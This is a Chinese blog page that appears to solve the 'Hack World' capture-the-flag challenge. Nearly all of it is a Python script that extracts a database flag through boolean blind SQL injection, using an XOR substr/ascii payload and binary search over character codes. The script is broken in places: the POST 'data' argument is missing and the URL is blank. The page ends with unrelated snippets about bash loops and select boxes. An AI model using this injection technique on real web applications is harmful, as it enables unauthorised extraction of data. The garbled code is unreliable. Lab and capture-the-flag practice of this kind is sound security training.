Hack World簡單指令碼學習

2022-10-10 22:39:16 字數 699 閱讀 2464

import requests

import time

import re

url=''

flag = ''

for i in range(1,43):#flag的字元數為43位

max = 127#所有字元總數為127

min = 0

for c in range(0,127):

s = (int)((max+min)/2)#二分法找出正確字元,(int)為暴力截斷

payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')' #從flag的第乙個字元開始爆破,若flag的第i位字元的ascii值大於s,則payload的值為0,反之則為1

r = requests.post(url,data = )

time.sleep(0.1)#延遲的秒數

if 'hello, glzjin wants a girlfriend.' in str(r.content):

max=s

else:

min=s

if((max-min)<=1):

flag+=chr(max)

print(flag)

break

print(flag)

#填寫自己環境的url

簡單指令碼測試 對談式指令碼 read

bin bash user inputs his first name and last name.program shows his full name.history path bin sbin usr bin usr sbin usr local bin usr local sbin bin ...

表單指令碼學習(選擇框指令碼)

選擇框是通過來實現的,為了方便與這個控制項互動,除了所有表單字段共有的屬性和方法外,htmlselectelement提供了我們多種屬性和方法 add 向空間中插入新元素 方法接收兩個引數 newoption,reloption 其位置在reloption之前 multiple 布林值,表示是否允許...

簡單指令碼for迴圈和while迴圈

bin bash for i 1 i 254 i 遍歷整個網段 doip 20.0.0.i ping c3 i0.2 w3 ip dev null 傳送三個資料報,間隔為0.2s,等待時間3s if eq 0 then 判斷上一條命令是否執行成功 echo echo ip up.txt 將ping通...